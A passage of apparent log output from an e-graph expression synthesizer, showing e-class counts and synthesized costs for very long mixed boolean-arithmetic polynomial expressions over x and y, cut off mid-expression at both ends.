y))))+((((y*y)*0xe7e257c000000000)*((~x)^y))*(x&y)))+(((y*y)*0xc0ed42000000000)*((x&(~y))*(x&(~y)))))+((((y*y)*0xe7e257c000000000)*(x&(~y)))*(x&y)))+(((y*y)*0xc0ed42000000000)*((x&y)*(x&y))))+((y*0x809e2c000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+(((y*0x181da84000000000)*(((~x)^y)*((~x)^y)))*(x&(~y))))+(((y*0xe7e257c000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+(((y*0x181da84000000000)*((~x)^y))*((x&(~y))*(x&(~y)))))+((((y*0xcfc4af8000000000)*((~x)^y))*(x&(~y)))*(x&y)))+(((y*0x181da84000000000)*((~x)^y))*((x&y)*(x&y))))+((y*0x809e2c000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+(((y*0xe7e257c000000000)*((x&(~y))*(x&(~y))))*(x&y)))+(((y*0x181da84000000000)*(x&(~y)))*((x&y)*(x&y))))+((y*0xf7f61d4000000000)*((x&y)*((x&y)*(x&y)))))+((((~x)^y)*(((~x)^y)*(((~x)^y)*((~x)^y))))*0x820278b000000000))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*0x809e2c000000000)*(x&(~y))))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*0xf7f61d4000000000)*(x&y)))+(((((~x)^y)*((~x)^y))*0xc0ed42000000000)*((x&(~y))*(x&(~y)))))+((((((~x)^y)*((~x)^y))*0xe7e257c000000000)*(x&(~y)))*(x&y)))+(((((~x)^y)*((~x)^y))*0xc0ed42000000000)*((x&y)*(x&y))))+((((~x)^y)*0x809e2c000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+(((((~x)^y)*0xe7e257c000000000)*((x&(~y))*(x&(~y))))*(x&y)))+(((((~x)^y)*0x181da84000000000)*(x&(~y)))*((x&y)*(x&y))))+((((~x)^y)*0xf7f61d4000000000)*((x&y)*((x&y)*(x&y)))))+(((x&(~y))*((x&(~y))*((x&(~y))*(x&(~y)))))*0x820278b000000000))+((((x&(~y))*((x&(~y))*(x&(~y))))*0xf7f61d4000000000)*(x&y)))+((((x&(~y))*(x&(~y)))*0xc0ed42000000000)*((x&y)*(x&y))))+(((x&(~y))*0xf7f61d4000000000)*((x&y)*((x&y)*(x&y)))))+(((x&y)*((x&y)*((x&y)*(x&y))))*0x820278b000000000))
====================================================================================================
eclasses #: 2822
Synthesized (cost = 5009): ((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((x|y)*0xe6b5be4000000004)+0x67c62228de18a6ae)+((x*y)*0xed084eb000000003))+((y^x)*0xf35adf2000000002))+(((x|y)*(x|y))*0x92f441c000000000))+(((x|y)*0xdc6e62a000000000)*(x*y)))+(((x|y)*0x92f441c000000000)*(y^x)))+(((x*y)*(x*y))*0x92a964fc00000000))+(((x*y)*0x6e37315000000000)*(y^x)))+(((y^x)*(y^x))*0x24bd107000000000))+(((x|y)*((x|y)*(x|y)))*0xfd1b3a0000000000))+((((x|y)*(x|y))*0xf97d428000000000)*(x*y)))+((((x|y)*(x|y))*0xfba8d70000000000)*(y^x)))+(((x|y)*0xbb1df1e000000000)*((x*y)*(x*y))))+((((x|y)*0xf97d428000000000)*(x*y))*(y^x)))+(((x|y)*0xfdd46b8000000000)*((y^x)*(y^x))))+(((x*y)*((x*y)*(x*y)))*0xeec77c7800000000))+((((x*y)*(x*y))*0xdd8ef8f000000000)*(y^x)))+(((x*y)*0x3e5f50a000000000)*((y^x)*(y^x))))+(((y^x)*((y^x)*(y^x)))*0x7fa3674000000000))+(y*0x22c04c00de18a6ae))+(((~x)^y)*0x22c04c00de18a6ae))+((x&(~y))*0x22c04c00de18a6ae))+((x&y)*0xdd3fb3ff21e75952))+(((x|y)*0x4a9fc5a000000000)*y))+(((x|y)*0x4a9fc5a000000000)*((~x)^y)))+(((x|y)*0x4a9fc5a000000000)*(x&(~y))))+(((x|y)*0xb5603a6000000000)*(x&y)))+(((x*y)*0x37f7d43800000000)*y))+(((x*y)*0x37f7d43800000000)*((~x)^y)))+(((x*y)*0x37f7d43800000000)*(x&(~y))))+(((x*y)*0xc8082bc800000000)*(x&y)))+(((y^x)*0x254fe2d000000000)*y))+(((y^x)*0x254fe2d000000000)*((~x)^y)))+(((y^x)*0x254fe2d000000000)*(x&(~y))))+(((y^x)*0xdab01d3000000000)*(x&y)))+((y*y)*0x3337c25800000000))+((y*0x666f84b000000000)*((~x)^y)))+((y*0x666f84b000000000)*(x&(~y))))+((y*0x99907b5000000000)*(x&y)))+((((~x)^y)*((~x)^y))*0x3337c25800000000))+((((~x)^y)*0x666f84b000000000)*(x&(~y))))+((((~x)^y)*0x99907b5000000000)*(x&y)))+(((x&(~y))*(x&(~y)))*0x3337c25800000000))+(((x&(~y))*0x99907b5000000000)*(x&y)))+(((x&y)*(x&y))*0x3337c25800000000))+((((x|y)*(x|y))*0x3eff4a4000000000)*y))+((((x|y)*(x|y))*0x3eff4a4000000000)*((~x)^y)))+((((x|y)*(x|y))*0x3eff4a4000000000)*(x&(~y))))+((((x|y)*(x|y))*0xc100b5c000000000)*(x&y)))+((((x|y)*0x5e7eef6000000000)*(x*y))*y))+((((x|y)*0x5e7eef6000000000)*(x*y))*((~x)^y)))+((((x|y)*0x5e7eef6000000000)*(x*y))*(x&(~y))))+((((x|y)*0xa18110a000000000)*(x*y))*(x&y)))+((((x|y)*0x3eff4a4000000000)*(y^x))*y))+((((x|y)*0x3eff4a4000000000)*(y^x))*((~x)^y)))+((((x|y)*0x3eff4a4000000000)*(y^x))*(x&(~y))))+((((x|y)*0xc100b5c000000000)*(y^x))*(x&y)))+((((x*y)*(x*y))*0x436f99c400000000)*y))+((((x*y)*(x*y))*0x436f99c400000000)*((~x)^y)))+((((x*y)*(x*y))*0x436f99c400000000)*(x&(~y))))+((((x*y)*(x*y))*0xbc90663c00000000)*(x&y)))+((((x*y)*0xaf3f77b000000000)*(y^x))*y))+((((x*y)*0xaf3f77b000000000)*(y^x))*((~x)^y)))+((((x*y)*0xaf3f77b000000000)*(y^x))*(x&(~y))))+((((x*y)*0x50c0885000000000)*(y^x))*(x&y)))+((((y^x)*(y^x))*0x8fbfd29000000000)*y))+((((y^x)*(y^x))*0x8fbfd29000000000)*((~x)^y)))+((((y^x)*(y^x))*0x8fbfd29000000000)*(x&(~y))))+((((y^x)*(y^x))*0x70402d7000000000)*(x&y)))+(((x|y)*0xb46a7de000000000)*(y*y)))+((((x|y)*0x68d4fbc000000000)*y)*((~x)^y)))+((((x|y)*0x68d4fbc000000000)*y)*(x&(~y))))+((((x|y)*0x972b044000000000)*y)*(x&y)))+(((x|y)*0xb46a7de000000000)*(((~x)^y)*((~x)^y))))+((((x|y)*0x68d4fbc000000000)*((~x)^y))*(x&(~y))))+((((x|y)*0x972b044000000000)*((~x)^y))*(x&y)))+(((x|y)*0xb46a7de000000000)*((x&(~y))*(x&(~y)))))+((((x|y)*0x972b044000000000)*(x&(~y)))*(x&y)))+(((x|y)*0xb46a7de000000000)*((x&y)*(x&y))))+(((x*y)*0x874fde6800000000)*(y*y)))+((((x*y)*0xe9fbcd000000000)*y)*((~x)^y)))+((((x*y)*0xe9fbcd000000000)*y)*(x&(~y))))+((((x*y)*0xf160433000000000)*y)*(x&y)))+(((x*y)*0x874fde6800000000)*(((~x)^y)*((~x)^y))))+((((x*y)*0xe9fbcd000000000)*((~x)^y))*(x&(~y))))+((((x*y)*0xf160433000000000)*((~x)^y))*(x&y)))+(((x*y)*0x874fde6800000000)*((x&(~y))*(x&(~y)))))+((((x*y)*0xf160433000000000)*(x&(~y)))*(x&y)))+(((x*y)*0x874fde6800000000)*((x&y)*(x&y))))+(((y^x)*0x5a353ef000000000)*(y*y)))+((((y^x)*0xb46a7de000000000)*y)*((~x)^y)))+((((y^x)*0xb46a7de000000000)*y)*(x&(~y))))+((((y^x)*0x4b95822000000000)*y)*(x&y)))+(((y^x)*0x5a353ef000000000)*(((~x)^y)*((~x)^y))))+((((y^x)*0xb46a7de000000000)*((~x)^y))*(x&(~y))))+((((y^x)*0x4b95822000000000)*((~x)^y))*(x&y)))+(((y^x)*0x5a353ef000000000)*((x&(~y))*(x&(~y)))))+((((y^x)*0x4b95822000000000)*(x&(~y)))*(x&y)))+(((y^x)*0x5a353ef000000000)*((x&y)*(x&y))))+((y*(y*y))*0xfa40113000000000))+(((y*y)*0xeec0339000000000)*((~x)^y)))+(((y*y)*0xeec0339000000000)*(x&(~y))))+(((y*y)*0x113fcc7000000000)*(x&y)))+((y*0xeec0339000000000)*(((~x)^y)*((~x)^y))))+(((y*0xdd80672000000000)*((~x)^y))*(x&(~y))))+(((y*0x227f98e000000000)*((~x)^y))*(x&y)))+((y*0xeec0339000000000)*((x&(~y))*(x&(~y)))))+(((y*0x227f98e000000000)*(x&(~y)))*(x&y)))+((y*0xeec0339000000000)*((x&y)*(x&y))))+((((~x)^y)*(((~x)^y)*((~x)^y)))*0xfa40113000000000))+(((((~x)^y)*((~x)^y))*0xeec0339000000000)*(x&(~y))))+(((((~x)^y)*((~x)^y))*0x113fcc7000000000)*(x&y)))+((((~x)^y)*0xeec0339000000000)*((x&(~y))*(x&(~y)))))+(((((~x)^y)*0x227f98e000000000)*(x&(~y)))*(x&y)))+((((~x)^y)*0xeec0339000000000)*((x&y)*(x&y))))+(((x&(~y))*((x&(~y))*(x&(~y))))*0xfa40113000000000))+((((x&(~y))*(x&(~y)))*0x113fcc7000000000)*(x&y)))+(((x&(~y))*0xeec0339000000000)*((x&y)*(x&y))))+(((x&y)*((x&y)*(x&y)))*0x5bfeed000000000))+((((x|y)*((x|y)*(x|y)))*0xfd1b3a0000000000)*y))+((((x|y)*((x|y)*(x|y)))*0xfd1b3a0000000000)*((~x)^y)))+((((x|y)*((x|y)*(x|y)))*0xfd1b3a0000000000)*(x&(~y))))+((((x|y)*((x|y)*(x|y)))*0x2e4c60000000000)*(x&y)))+(((((x|y)*(x|y))*0xf97d428000000000)*(x*y))*y))+(((((x|y)*(x|y))*0xf97d428000000000)*(x*y))*((~x)^y)))+(((((x|y)*(x|y))*0xf97d428000000000)*(x*y))*(x&(~y))))+(((((x|y)*(x|y))*0x682bd8000000000)*(x*y))*(x&y)))+(((((x|y)*(x|y))*0xfba8d70000000000)*(y^x))*y))+(((((x|y)*(x|y))*0xfba8d70000000000)*(y^x))*((~x)^y)))+(((((x|y)*(x|y))*0xfba8d70000000000)*(y^x))*(x&(~y))))+(((((x|y)*(x|y))*0x457290000000000)*(y^x))*(x&y)))+((((x|y)*0xbb1df1e000000000)*((x*y)*(x*y)))*y))+((((x|y)*0xbb1df1e000000000)*((x*y)*(x*y)))*((~x)^y)))+((((x|y)*0xbb1df1e000000000)*((x*y)*(x*y)))*(x&(~y))))+((((x|y)*0x44e20e2000000000)*((x*y)*(x*y)))*(x&y)))+(((((x|y)*0xf97d428000000000)*(x*y))*(y^x))*y))+(((((x|y)*0xf97d428000000000)*(x*y))*(y^x))*((~x)^y)))+(((((x|y)*0xf97d428000000000)*(x*y))*(y^x))*(x&(~y))))+(((((x|y)*0x682bd8000000000)*(x*y))*(y^x))*(x&y)))+((((x|y)*0xfdd46b8000000000)*((y^x)*(y^x)))*y))+((((x|y)*0xfdd46b8000000000)*((y^x)*(y^x)))*((~x)^y)))+((((x|y)*0xfdd46b8000000000)*((y^x)*(y^x)))*(x&(~y))))+((((x|y)*0x22b948000000000)*((y^x)*(y^x)))*(x&y)))+((((x*y)*((x*y)*(x*y)))*0xeec77c7800000000)*y))+((((x*y)*((x*y)*(x*y)))*0xeec77c7800000000)*((~x)^y)))+((((x*y)*((x*y)*(x*y)))*0xeec77c7800000000)*(x&(~y))))+((((x*y)*((x*y)*(x*y)))*0x1138838800000000)*(x&y)))+(((((x*y)*(x*y))*0xdd8ef8f000000000)*(y^x))*y))+(((((x*y)*(x*y))*0xdd8ef8f000000000)*(y^x))*((~x)^y)))+(((((x*y)*(x*y))*0xdd8ef8f000000000)*(y^x))*(x&(~y))))+(((((x*y)*(x*y))*0x2271071000000000)*(y^x))*(x&y)))+((((x*y)*0x3e5f50a000000000)*((y^x)*(y^x)))*y))+((((x*y)*0x3e5f50a000000000)*((y^x)*(y^x)))*((~x)^y)))+((((x*y)*0x3e5f50a000000000)*((y^x)*(y^x)))*(x&(~y))))+((((x*y)*0xc1a0af6000000000)*((y^x)*(y^x)))*(x&y)))+((((y^x)*((y^x)*(y^x)))*0x7fa3674000000000)*y))+((((y^x)*((y^x)*(y^x)))*0x7fa3674000000000)*((~x)^y)))+((((y^x)*((y^x)*(y^x)))*0x7fa3674000000000)*(x&(~y))))+((((y^x)*((y^x)*(y^x)))*0x805c98c000000000)*(x&y)))+((((x|y)*(x|y))*0xac0b088000000000)*(y*y)))+(((((x|y)*(x|y))*0x5816110000000000)*y)*((~x)^y)))+(((((x|y)*(x|y))*0x5816110000000000)*y)*(x&(~y))))+(((((x|y)*(x|y))*0xa7e9ef0000000000)*y)*(x&y)))+((((x|y)*(x|y))*0xac0b088000000000)*(((~x)^y)*((~x)^y))))+(((((x|y)*(x|y))*0x5816110000000000)*((~x)^y))*(x&(~y))))+(((((x|y)*(x|y))*0xa7e9ef0000000000)*((~x)^y))*(x&y)))+((((x|y)*(x|y))*0xac0b088000000000)*((x&(~y))*(x&(~y)))))+(((((x|y)*(x|y))*0xa7e9ef0000000000)*(x&(~y)))*(x&y)))+((((x|y)*(x|y))*0xac0b088000000000)*((x&y)*(x&y))))+((((x|y)*0x82108cc000000000)*(x*y))*(y*y)))+(((((x|y)*0x421198000000000)*(x*y))*y)*((~x)^y)))+(((((x|y)*0x421198000000000)*(x*y))*y)*(x&(~y))))+(((((x|y)*0xfbdee68000000000)*(x*y))*y)*(x&y)))+((((x|y)*0x82108cc000000000)*(x*y))*(((~x)^y)*((~x)^y))))+(((((x|y)*0x421198000000000)*(x*y))*((~x)^y))*(x&(~y))))+(((((x|y)*0xfbdee68000000000)*(x*y))*((~x)^y))*(x&y)))+((((x|y)*0x82108cc000000000)*(x*y))*((x&(~y))*(x&(~y)))))+(((((x|y)*0xfbdee68000000000)*(x*y))*(x&(~y)))*(x&y)))+((((x|y)*0x82108cc000000000)*(x*y))*((x&y)*(x&y))))+((((x|y)*0xac0b088000000000)*(y^x))*(y*y)))+(((((x|y)*0x5816110000000000)*(y^x))*y)*((~x)^y)))+(((((x|y)*0x5816110000000000)*(y^x))*y)*(x&(~y))))+(((((x|y)*0xa7e9ef0000000000)*(y^x))*y)*(x&y)))+((((x|y)*0xac0b088000000000)*(y^x))*(((~x)^y)*((~x)^y))))+(((((x|y)*0x5816110000000000)*(y^x))*((~x)^y))*(x&(~y))))+(((((x|y)*0xa7e9ef0000000000)*(y^x))*((~x)^y))*(x&y)))+((((x|y)*0xac0b088000000000)*(y^x))*((x&(~y))*(x&(~y)))))+(((((x|y)*0xa7e9ef0000000000)*(y^x))*(x&(~y)))*(x&y)))+((((x|y)*0xac0b088000000000)*(y^x))*((x&y)*(x&y))))+((((x*y)*(x*y))*0xb0c634c800000000)*(y*y)))+(((((x*y)*(x*y))*0x618c699000000000)*y)*((~x)^y)))+(((((x*y)*(x*y))*0x618c699000000000)*y)*(x&(~y))))+(((((x*y)*(x*y))*0x9e73967000000000)*y)*(x&y)))+((((x*y)*(x*y))*0xb0c634c800000000)*(((~x)^y)*((~x)^y))))+(((((x*y)*(x*y))*0x618c699000000000)*((~x)^y))*(x&(~y))))+(((((x*y)*(x*y))*0x9e73967000000000)*((~x)^y))*(x&y)))+((((x*y)*(x*y))*0xb0c634c800000000)*((x&(~y))*(x&(~y)))))+(((((x*y)*(x*y))*0x9e73967000000000)*(x&(~y)))*(x&y)))+((((x*y)*(x*y))*0xb0c634c800000000)*((x&y)*(x&y))))+((((x*y)*0x4108466000000000)*(y^x))*(y*y)))+(((((x*y)*0x82108cc000000000)*(y^x))*y)*((~x)^y)))+(((((x*y)*0x82108cc000000000)*(y^x))*y)*(x&(~y))))+(((((x*y)*0x7def734000000000)*(y^x))*y)*(x&y)))+((((x*y)*0x4108466000000000)*(y^x))*(((~x)^y)*((~x)^y))))+(((((x*y)*0x82108cc000000000)*(y^x))*((~x)^y))*(x&(~y))))+(((((x*y)*0x7def734000000000)*(y^x))*((~x)^y))*(x&y)))+((((x*y)*0x4108466000000000)*(y^x))*((x&(~y))*(x&(~y)))))+(((((x*y)*0x7def734000000000)*(y^x))*(x&(~y)))*(x&y)))+((((x*y)*0x4108466000000000)*(y^x))*((x&y)*(x&y))))+((((y^x)*(y^x))*0x6b02c22000000000)*(y*y)))+(((((y^x)*(y^x))*0xd605844000000000)*y)*((~x)^y)))+(((((y^x)*(y^x))*0xd605844000000000)*y)*(x&(~y))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*y)*(x&y)))+((((y^x)*(y^x))*0x6b02c22000000000)*(((~x)^y)*((~x)^y))))+(((((y^x)*(y^x))*0xd605844000000000)*((~x)^y))*(x&(~y))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*((~x)^y))*(x&y)))+((((y^x)*(y^x))*0x6b02c22000000000)*((x&(~y))*(x&(~y)))))+(((((y^x)*(y^x))*0x29fa7bc000000000)*(x&(~y)))*(x&y)))+((((y^x)*(y^x))*0x6b02c22000000000)*((x&y)*(x&y))))+(((x|y)*0x5080768000000000)*(y*(y*y))))+((((x|y)*0xf181638000000000)*(y*y))*((~x)^y)))+((((x|y)*0xf181638000000000)*(y*y))*(x&(~y))))+((((x|y)*0xe7e9c8000000000)*(y*y))*(x&y)))+((((x|y)*0xf181638000000000)*y)*(((~x)^y)*((~x)^y))))+(((((x|y)*0xe302c70000000000)*y)*((~x)^y))*(x&(~y))))+(((((x|y)*0x1cfd390000000000)*y)*((~x)^y))*(x&y)))+((((x|y)*0xf181638000000000)*y)*((x&(~y))*(x&(~y)))))+(((((x|y)*0x1cfd390000000000)*y)*(x&(~y)))*(x&y)))+((((x|y)*0xf181638000000000)*y)*((x&y)*(x&y))))+(((x|y)*0x5080768000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+((((x|y)*0xf181638000000000)*(((~x)^y)*((~x)^y)))*(x&(~y))))+((((x|y)*0xe7e9c8000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+((((x|y)*0xf181638000000000)*((~x)^y))*((x&(~y))*(x&(~y)))))+(((((x|y)*0x1cfd390000000000)*((~x)^y))*(x&(~y)))*(x&y)))+((((x|y)*0xf181638000000000)*((~x)^y))*((x&y)*(x&y))))+(((x|y)*0x5080768000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+((((x|y)*0xe7e9c8000000000)*((x&(~y))*(x&(~y))))*(x&y)))+((((x|y)*0xf181638000000000)*(x&(~y)))*((x&y)*(x&y))))+(((x|y)*0xaf7f898000000000)*((x&y)*((x&y)*(x&y)))))+(((x*y)*0x3c6058e000000000)*(y*(y*y))))+((((x*y)*0xb5210aa000000000)*(y*y))*((~x)^y)))+((((x*y)*0xb5210aa000000000)*(y*y))*(x&(~y))))+((((x*y)*0x4adef56000000000)*(y*y))*(x&y)))+((((x*y)*0xb5210aa000000000)*y)*(((~x)^y)*((~x)^y))))+(((((x*y)*0x6a42154000000000)*y)*((~x)^y))*(x&(~y))))+(((((x*y)*0x95bdeac000000000)*y)*((~x)^y))*(x&y)))+((((x*y)*0xb5210aa000000000)*y)*((x&(~y))*(x&(~y)))))+(((((x*y)*0x95bdeac000000000)*y)*(x&(~y)))*(x&y)))+((((x*y)*0xb5210aa000000000)*y)*((x&y)*(x&y))))+(((x*y)*0x3c6058e000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+((((x*y)*0xb5210aa000000000)*(((~x)^y)*((~x)^y)))*(x&(~y))))+((((x*y)*0x4adef56000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+((((x*y)*0xb5210aa000000000)*((~x)^y))*((x&(~y))*(x&(~y)))))+(((((x*y)*0x95bdeac000000000)*((~x)^y))*(x&(~y)))*(x&y)))+((((x*y)*0xb5210aa000000000)*((~x)^y))*((x&y)*(x&y))))+(((x*y)*0x3c6058e000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+((((x*y)*0x4adef56000000000)*((x&(~y))*(x&(~y))))*(x&y)))+((((x*y)*0xb5210aa000000000)*(x&(~y)))*((x&y)*(x&y))))+(((x*y)*0xc39fa72000000000)*((x&y)*((x&y)*(x&y)))))+(((y^x)*0x28403b4000000000)*(y*(y*y))))+((((y^x)*0x78c0b1c000000000)*(y*y))*((~x)^y)))+((((y^x)*0x78c0b1c000000000)*(y*y))*(x&(~y))))+((((y^x)*0x873f4e4000000000)*(y*y))*(x&y)))+((((y^x)*0x78c0b1c000000000)*y)*(((~x)^y)*((~x)^y))))+(((((y^x)*0xf181638000000000)*y)*((~x)^y))*(x&(~y))))+(((((y^x)*0xe7e9c8000000000)*y)*((~x)^y))*(x&y)))+((((y^x)*0x78c0b1c000000000)*y)*((x&(~y))*(x&(~y)))))+(((((y^x)*0xe7e9c8000000000)*y)*(x&(~y)))*(x&y)))+((((y^x)*0x78c0b1c000000000)*y)*((x&y)*(x&y))))+(((y^x)*0x28403b4000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+((((y^x)*0x78c0b1c000000000)*(((~x)^y)*((~x)^y)))*(x&(~y))))+((((y^x)*0x873f4e4000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+((((y^x)*0x78c0b1c000000000)*((~x)^y))*((x&(~y))*(x&(~y)))))+(((((y^x)*0xe7e9c8000000000)*((~x)^y))*(x&(~y)))*(x&y)))+((((y^x)*0x78c0b1c000000000)*((~x)^y))*((x&y)*(x&y))))+(((y^x)*0x28403b4000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+((((y^x)*0x873f4e4000000000)*((x&(~y))*(x&(~y))))*(x&y)))+((((y^x)*0x78c0b1c000000000)*(x&(~y)))*((x&y)*(x&y))))+(((y^x)*0xd7bfc4c000000000)*((x&y)*((x&y)*(x&y)))))+((y*(y*(y*y)))*0x820278b000000000))+(((y*(y*y))*0x809e2c000000000)*((~x)^y)))+(((y*(y*y))*0x809e2c000000000)*(x&(~y))))+(((y*(y*y))*0xf7f61d4000000000)*(x&y)))+(((y*y)*0xc0ed42000000000)*(((~x)^y)*((~x)^y))))+((((y*y)*0x181da84000000000)*((~x)^y))*(x&(~y))))+((((y*y)*0xe7e257c000000000)*((~x)^y))*(x&y)))+(((y*y)*0xc0ed42000000000)*((x&(~y))*(x&(~y)))))+((((y*y)*0xe7e257c000000000)*(x&(~y)))*(x&y)))+(((y*y)*0xc0ed42000000000)*((x&y)*(x&y))))+((y*0x809e2c000000000)*(((~x)^y)*(((~x)^y)*((~x)^y)))))+(((y*0x181da84000000000)*(((~x)^y)*((~x)^y)))*(x&(~y))))+(((y*0xe7e257c000000000)*(((~x)^y)*((~x)^y)))*(x&y)))+(((y*0x181da84000000000)*((~x)^y))*((x&(~y))*(x&(~y)))))+((((y*0xcfc4af8000000000)*((~x)^y))*(x&(~y)))*(x&y)))+(((y*0x181da84000000000)*((~x)^y))*((x&y)*(x&y))))+((y*0x809e2c000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+(((y*0xe7e257c000000000)*((x&(~y))*(x&(~y))))*(x&y)))+(((y*0x181da84000000000)*(x&(~y)))*((x&y)*(x&y))))+((y*0xf7f61d4000000000)*((x&y)*((x&y)*(x&y)))))+((((~x)^y)*(((~x)^y)*(((~x)^y)*((~x)^y))))*0x820278b000000000))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*0x809e2c000000000)*(x&(~y))))+(((((~x)^y)*(((~x)^y)*((~x)^y)))*0xf7f61d4000000000)*(x&y)))+(((((~x)^y)*((~x)^y))*0xc0ed42000000000)*((x&(~y))*(x&(~y)))))+((((((~x)^y)*((~x)^y))*0xe7e257c000000000)*(x&(~y)))*(x&y)))+(((((~x)^y)*((~x)^y))*0xc0ed42000000000)*((x&y)*(x&y))))+((((~x)^y)*0x809e2c000000000)*((x&(~y))*((x&(~y))*(x&(~y))))))+(((((~x)^y)*0xe7e257c000000000)*((x&(~y))*(x&(~y))))*(x&y)))+(((((~x)^y)*0x181da84000000000)*(x&(~y)))*((x&y)*(x&y))))+((((~x)^y)*0xf7f61d4000000000)*((x&y)*((x&y)*(x&y)))))+(((x&(~y))*((x&(~y))*((x&(~y))*(x&(~y)))))*0x820278b000000000))+((((x&(~y))*((x&(~y))*(x&(~y))))*0xf7f61d4000000000)*(x&y)))+((((x&(~y))*(x&(~y)))*0xc0ed42000000000)*((x&y)*(x&y))))+(((x&(~y))*0xf7f61d4000000000)*((x&y)*((x&y)*(x&y)))))+(((x&y)*((x&y)*((x&y)*(x&y))))*0x820278b000000000))
====================================================================================================
eclasses #: 8059
Synthesized (cost = 3700): (((((x&y)*(x&y))*((((x&(~y))*0xf7f61d4000000000)*(x&y))+(((x&(~y))*(x&(~y)))*0xc0ed42000000000)))+((((((x&y)*(x&y))*(((((~x)^y)*0xf7f61d4000000000)*(x&y))+((((~x)^y)*0x181da84000000000)*(x&(~y)))))+(((((x&y)*((((((~x)^y)*((~x)^y))*0xc0ed42000000000)*(x&y))+(((((~x)^y)*((~x)^y))*0xe7e257c000000000)*(x&(~y)))))+((((((((x&y)*(x&y))*(((y*0xf7f61d4000000000)*(x&y))+((y*0x181da84000000000)*(x&(~y)))))+(((((x&y)*((((y*0x181da84000000000)*((~x)^y))*(x&y))+(((y*0xcfc4af8000000000)*((~x)^y))*(x&(~y)))))+(((((((x&y)*((((y*y)*0xc0ed42000000000)*(x&y))+(((y*y)*0xe7e257c000000000)*(x&(~y)))))+(((((((((y*(y*y))*0x809e2c000000000)*((~y)+(x&y)))+(((((x&y)*(x&y))*((((y^x)*0xd7bfc4c000000000)*(x&y))+(((y^x)*0x78c0b1c000000000)*(x&(~y)))))+(((((x&y)*(((((y^x)*0x78c0b1c000000000)*((~x)^y))*(x&y))+((((y^x)*0xe7e9c8000000000)*((~x)^y))*(x&(~y)))))+(((((((x&y)*(((((y^x)*0x78c0b1c000000000)*y)*(x&y))+((((y^x)*0xe7e9c8000000000)*y)*(x&(~y)))))+((((((((((y^x)*0x78c0b1c000000000)*(y*y))*((~y)+(x&y)))+(((((x&y)*(x&y))*((((x*y)*0xc39fa72000000000)*(x&y))+(((x*y)*0xb5210aa000000000)*(x&(~y)))))+(((((x&y)*(((((x*y)*0xb5210aa000000000)*((~x)^y))*(x&y))+((((x*y)*0x95bdeac000000000)*((~x)^y))*(x&(~y)))))+(((((((x&y)*(((((x*y)*0xb5210aa000000000)*y)*(x&y))+((((x*y)*0x95bdeac000000000)*y)*(x&(~y)))))+((((((((((x*y)*0xb5210aa000000000)*(y*y))*((~y)+(x&y)))+(((((x&y)*(x&y))*((((x|y)*0xaf7f898000000000)*(x&y))+(((x|y)*0xf181638000000000)*(x&(~y)))))+(((((x&y)*(((((x|y)*0xf181638000000000)*((~x)^y))*(x&y))+((((x|y)*0x1cfd390000000000)*((~x)^y))*(x&(~y)))))+(((((((x&y)*(((((x|y)*0xf181638000000000)*y)*(x&y))+((((x|y)*0x1cfd390000000000)*y)*(x&(~y)))))+((((((((((x|y)*0xf181638000000000)*(y*y))*((~y)+(x&y)))+((((x&y)*(((((y^x)*(y^x))*0x6b02c22000000000)*(x&y))+((((y^x)*(y^x))*0x29fa7bc000000000)*(x&(~y)))))+(((((((((((y^x)*(y^x))*0xd605844000000000)*y)*((~y)+(x&y)))+((((x&y)*(((((x*y)*0x4108466000000000)*(y^x))*(x&y))+((((x*y)*0x7def734000000000)*(y^x))*(x&(~y)))))+(((((((((((x*y)*0x82108cc000000000)*(y^x))*y)*((~y)+(x&y)))+((((x&y)*(((((x*y)*(x*y))*0xb0c634c800000000)*(x&y))+((((x*y)*(x*y))*0x9e73967000000000)*(x&(~y)))))+(((((((((((x*y)*(x*y))*0x618c699000000000)*y)*((~y)+(x&y)))+((((x&y)*(((((x|y)*0xac0b088000000000)*(y^x))*(x&y))+((((x|y)*0xa7e9ef0000000000)*(y^x))*(x&(~y)))))+(((((((((((x|y)*0x5816110000000000)*(y^x))*y)*((~y)+(x&y)))+((((x&y)*(((((x|y)*0x82108cc000000000)*(x*y))*(x&y))+((((x|y)*0xfbdee68000000000)*(x*y))*(x&(~y)))))+(((((((((((x|y)*0x421198000000000)*(x*y))*y)*((~y)+(x&y)))+((((x&y)*(((((x|y)*(x|y))*0xac0b088000000000)*(x&y))+((((x|y)*(x|y))*0xa7e9ef0000000000)*(x&(~y)))))+(((((((((((x|y)*(x|y))*0x5816110000000000)*y)*((~y)+(x&y)))+(((((y^x)*((y^x)*(y^x)))*0x805c98c000000000)+((((x*y)*0xc1a0af6000000000)*((y^x)*(y^x)))+(((((x*y)*(x*y))*0x2271071000000000)*(y^x))+((((x*y)*((x*y)*(x*y)))*0x1138838800000000)+((((x|y)*0x22b948000000000)*((y^x)*(y^x)))+(((((x|y)*0x682bd8000000000)*(x*y))*(y^x))+((((x|y)*0x44e20e2000000000)*((x*y)*(x*y)))+(((((x|y)*(x|y))*0x457290000000000)*(y^x))+(((((x|y)*(x|y))*0x682bd8000000000)*(x*y))+((((x|y)*((x|y)*(x|y)))*0x2e4c60000000000)+((((x&y)*((((x&(~y))*0xeec0339000000000)*(x&y))+(((x&(~y))*(x&(~y)))*0x113fcc7000000000)))+((((x&y)*(((((~x)^y)*0xeec0339000000000)*(x&y))+((((~x)^y)*0x227f98e000000000)*(x&(~y)))))+(((